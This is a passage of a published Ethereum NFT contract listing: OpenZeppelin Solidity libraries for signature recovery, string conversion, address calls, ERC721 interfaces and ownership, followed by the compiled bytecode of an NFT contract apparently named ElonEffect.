message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x60806040526004361061027f5760003560e01c80636790a9de1161014e578063b88d4fde116100bb578063e5c389cd11610077578063e5c389cd14610867578063e8d12a9614610887578063e966d512146108a7578063e985e9c5146108ba578063f0292a0314610903578063f2fde38b1461091957005b8063b88d4fde1461079c578063c6788bdd146107bc578063c87b56dd146107e9578063ce7c2ac214610809578063db7fd4081461083f578063e33b7de31461085257005b80638d859f3e1161010a5780638d859f3e146106dd5780638da5cb5b146106f357806395d89b41146107115780639852595c14610726578063a22cb4651461075c578063b534a5c41461077c57005b80636790a9de1461061457806370a0823114610634578063715018a61461066e5780637f75c315146106835780637fc27803146106a35780638b83209b146106bd57005b80633b650d29116101ec5780634f64b2be116101a85780634f64b2be1461055f5780634f6ccce71461057f5780634ff855ca1461059f57806350c5a00c146105bf57806360d938dc146105d55780636352211e146105f457005b80633b650d291461049d57806342842e0e146104bd578063438b6300146104dd5780634a994eef1461050a5780634d44660c1461052a5780634e71d92d1461054a57005b806318160ddd1161023b57806318160ddd146103ef578063191655871461041257806323b872dd146104325780632f745c591461045257806332cb6b0c146104725780633a98ef391461048857005b806301ffc9a7146102ca578063022914a7146102ff57806306fdde03146103555780630777962714610377578063081812fc14610397578063095ea7b3146103cf57005b366102c8577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033604080516001600160a01b0390921682523460208301520160405180910390a1005b005b3480156102d657600080fd5b506102ea6102e5366004612a93565b610939565b60405190151581526020015b60405180910390f35b34801561030b57600080fd5b5061033a61031a366004612ac5565b60016020526000908152604090205461ffff808216916201000090041682565b6040805161ffff9384168152929091166020830152016102f6565b34801561036157600080fd5b5061036a610964565b6040516102f69190612b3a565b34801561038357600080fd5b506102ea610392366004612ac5565b6109f6565b3480156103a357600080fd5b506103b76103b2366004612b4d565b610a4f565b6040516001600160a01b0390911681526020016102f6565b3480156103db57600080fd5b506102c86103ea366004612b66565b610ace565b3480156103fb57600080fd5b50610404610bd8565b6040519081526020016102f6565b34801561041e57600080fd5b506102c861042d366004612ac5565b610be7565b34801561043e57600080fd5b506102c861044d366004612b92565b610dbb565b34801561045e57600080fd5b5061040461046d366004612b66565b610dec565b34801561047e57600080fd5b5061040460135481565b34801561049457600080fd5b50600a54610404565b3480156104a957600080fd5b506102c86104b8366004612c18565b610eb8565b3480156104c957600080fd5b506102c86104d8366004612b92565b610fd2565b3480156104e957600080fd5b506104fd6104f8366004612ac5565b610fed565b6040516102f69190612c84565b34801561051657600080fd5b506102c8610525366004612cd8565b6110db565b34801561053657600080fd5b506102ea610545366004612d0d565b611130565b34801561055657600080fd5b506102c86111ac565b34801561056b57600080fd5b506103b761057a366004612b4d565b6112fb565b34801561058b57600080fd5b5061040461059a366004612b4d565b611325565b3480156105ab57600080fd5b506102c86105ba366004612d62565b6113a1565b3480156105cb57600080fd5b5061040460125481565b3480156105e157600080fd5b506016546102ea90610100900460ff1681565b34801561060057600080fd5b506103b761060f366004612b4d565b611409565b34801561062057600080fd5b506102c861062f366004612de7565b61145e565b34801561064057600080fd5b5061040461064f366004612ac5565b6001600160a01b031660009081526001602052604090205461ffff1690565b34801561067a57600080fd5b506102c86114a6565b34801561068f57600080fd5b506016546102ea9062010000900460ff1681565b3480156106af57600080fd5b506016546102ea9060ff1681565b3480156106c957600080fd5b506103b76106d8366004612b4d565b6114dc565b3480156106e957600080fd5b5061040460145481565b3480156106ff57600080fd5b506008546001600160a01b03166103b7565b34801561071d57600080fd5b5061036a6114f1565b34801561073257600080fd5b50610404610741366004612ac5565b6001600160a01b03166000908152600d602052604090205490565b34801561076857600080fd5b506102c8610777366004612cd8565b611500565b34801561078857600080fd5b506102c8610797366004612e47565b61156c565b3480156107a857600080fd5b506102c86107b7366004612f68565b6115ea565b3480156107c857600080fd5b506104046107d7366004612ac5565b60156020526000908152604090205481565b3480156107f557600080fd5b5061036a610804366004612b4d565b611622565b34801561081557600080fd5b50610404610824366004612ac5565b6001600160a01b03166000908152600c602052604090205490565b6102c861084d366004612fe8565b6116be565b34801561085e57600080fd5b50600b54610404565b34801561087357600080fd5b506102c8610882366004613027565b611949565b34801561089357600080fd5b506102c86108a2366004613059565b611a09565b6102c86108b5366004612c18565b611a6a565b3480156108c657600080fd5b506102ea6108d53660046130bf565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b34801561090f57600080fd5b5061040460115481565b34801561092557600080fd5b506102c8610934366004612ac5565b611c7f565b60006001600160e01b0319821663780e9d6360e01b148061095e575061095e82611cd8565b92915050565b606060048054610973906130ed565b80601f016020809104026020016040519081016040528092919081815260200182805461099f906130ed565b80156109ec5780601f106109c1576101008083540402835291602001916109ec565b820191906000526020600020905b8154815290600101906020018083116109cf57829003601f168201915b5050505050905090565b6008546000906001600160a01b03163314610a2c5760405162461bcd60e51b8152600401610a2390613127565b60405180910390fd5b506001600160a01b03811660009081526009602052604090205460ff165b919050565b6000610a5a82611d28565b610ab25760405162461bcd60e51b815260206004820152602360248201527f4552433732313a20717565727920666f72206e6f6e6578697374656e7420746f60448201526235b2b760e91b6064820152608401610a23565b506000908152600660205260409020546001600160a01b031690565b6000610ad982611409565b9050806001600160a01b0316836001600160a01b031603610b475760405162461bcd60e51b815260206004820152602260248201527f455243373231423a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b6064820152608401610a23565b336001600160a01b0382161480610b635750610b6381336108d5565b610bc95760405162461bcd60e51b815260206004820152603160248201527f455243373231423a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201527008185c1c1c9bdd995908199bdc88185b1b607a1b6064820152608401610a23565b610bd38383611d70565b505050565b6000610be2611dde565b905090565b6001600160a01b0381166000908152600c6020526040902054610c5b5760405162461bcd60e51b815260206004820152602660248201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060448201526573686172657360d01b6064820152608401610a23565b6000600b5447610c6b9190613172565b6001600160a01b0383166000908152600d6020908152604080832054600a54600c909352908320549394509192610ca2908561318a565b610cac91906131bf565b610cb691906131d3565b905080600003610d1c5760405162461bcd60e51b815260206004820152602b60248201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060448201526a191d59481c185e5b595b9d60aa1b6064820152608401610a23565b6001600160a01b0383166000908152600d6020526040902054610d40908290613172565b6001600160a01b0384166000908152600d6020526040902055600b54610d67908290613172565b600b55610d748382611dfd565b604080516001600160a01b0385168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b610dc53382611f16565b610de15760405162461bcd60e51b8152600401610a23906131ea565b610bd3838383611fbb565b60008060005b600054811015610e5a5760008181548110610e0f57610e0f613233565b6000918252602090912001546001600160a01b0390811690861603610e4a57838203610e3e57915061095e9050565b610e4782613249565b91505b610e5381613249565b9050610df2565b5060405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c65423a206f776e657220696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610a23565b3360009081526009602052604090205460ff16610ee75760405162461bcd60e51b8152600401610a2390613262565b828114610f525760405162461bcd60e51b815260206004820152603360248201527f456c6f6e4566666563743a206d757374206861766520657175616c206163636f604482015272756e747320616e64207175616e74697469657360681b6064820152608401610a23565b60005b83811015610fcb57828282818110610f6f57610f6f613233565b9050602002013560156000878785818110610f8c57610f8c613233565b9050602002016020810190610fa19190612ac5565b6001600160a01b03168152602081019190915260400160002055610fc481613249565b9050610f55565b5050505050565b610bd3838383604051806020016040528060008152506115ea565b6001600160a01b0381166000908152600160205260408120546060919061ffff168067ffffffffffffffff81111561102757611027612edc565b604051908082528060200260200182016040528015611050578160200160208202803683370190505b50925060005b6000548110156110d3576000818154811061107357611073613233565b6000918252602090912001546001600160a01b03908116908616036110c35780848461109e81613249565b9550815181106110b0576110b0613233565b60209081029190910101528282146110d3575b6110cc81613249565b9050611056565b505050919050565b6008546001600160a01b031633146111055760405162461bcd60e51b8152600401610a2390613127565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000805b8281101561119f57600084848381811061115057611150613233565b905060200201358154811061116757611167613233565b6000918252602090912001546001600160a01b0386811691161461118f5760009150506111a5565b61119881613249565b9050611134565b50600190505b9392505050565b60165460ff166112085760405162461bcd60e51b815260206004820152602160248201527f456c6f6e4566666563743a20636c61696d7320617265206e6f742061637469766044820152606560f81b6064820152608401610a23565b6000611212610bd8565b33600090815260156020526040902054601354919250906112338284613172565b11156112815760405162461bcd60e51b815260206004820181905260248201527f456c6f6e4566666563743a20636c61696d206578636565647320737570706c796044820152606401610a23565b3360009081526015602090815260408083208390556001909152812080548392906112b190849061ffff1661328c565b92506101000a81548161ffff021916908361ffff16021790555060005b81811015610bd3576112eb33846112e481613249565b95506120ba565b6112f481613249565b90506112ce565b6000818154811061130b57600080fd5b6000918252602090912001546001600160a01b0316905081565b600061132f610bd8565b82106113945760405162461bcd60e51b815260206004820152602e60248201527f455243373231456e756d657261626c65423a20717565727920666f72206e6f6e60448201526d32bc34b9ba32b73a103a37b5b2b760911b6064820152608401610a23565b60035461095e9083613172565b3360009081526009602052604090205460ff166113d05760405162461bcd60e51b8152600401610a2390613262565b6016805461ffff191693151561ff00191693909317610100921515929092029190911762ff000019166201000091151591909102179055565b600061141482611d28565b6114305760405162461bcd60e51b8152600401610a23906132b2565b6000828154811061144357611443613233565b6000918252602090912001546001600160a01b031692915050565b3360009081526009602052604090205460ff1661148d5760405162461bcd60e51b8152600401610a2390613262565b61149960178585612970565b50610fcb60188383612970565b6008546001600160a01b031633146114d05760405162461bcd60e51b8152600401610a2390613127565b6114da600061214b565b565b6000600e828154811061144357611443613233565b606060058054610973906130ed565b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60005b838110156115e1576115d1878787878581811061158e5761158e613233565b9050602002013586868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506115ea92505050565b6115da81613249565b905061156f565b50505050505050565b6115f43383611f16565b6116105760405162461bcd60e51b8152600401610a23906131ea565b61161c8484848461219d565b50505050565b606061162d82611d28565b6116895760405162461bcd60e51b815260206004820152602760248201527f456c6f6e4566666563743a20717565727920666f72206e6f6e6578697374656e6044820152663a103a37b5b2b760c91b6064820152608401610a23565b6017611694836121d0565b60186040516020016116a89392919061338f565b6040516020818303038152906040529050919050565b8260001080156116d057506012548311155b61171c5760405162461bcd60e51b815260206004820152601960248201527f456c6f6e4566666563743a206f7264657220746f6f20626967000000000000006044820152606401610a23565b8260145461172a919061318a565b3410156117875760405162461bcd60e51b815260206004820152602560248201527f456c6f6e4566666563743a2065746865722073656e74206973206e6f7420636f6044820152641c9c9958dd60da1b6064820152608401610a23565b60165462010000900460ff1661185